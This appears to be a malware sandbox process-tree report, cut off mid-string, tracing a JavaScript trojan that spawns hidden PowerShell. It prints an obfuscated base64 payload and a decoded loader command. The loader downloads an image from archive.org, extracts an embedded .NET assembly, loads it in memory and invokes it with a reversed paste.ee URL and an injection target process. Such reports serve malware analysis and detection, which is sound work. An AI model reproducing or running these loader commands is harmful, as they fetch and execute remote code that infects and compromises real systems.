⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:6252
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:6808
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zO4F04640F\trojan.js"
          2⤵
            PID:5912
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ 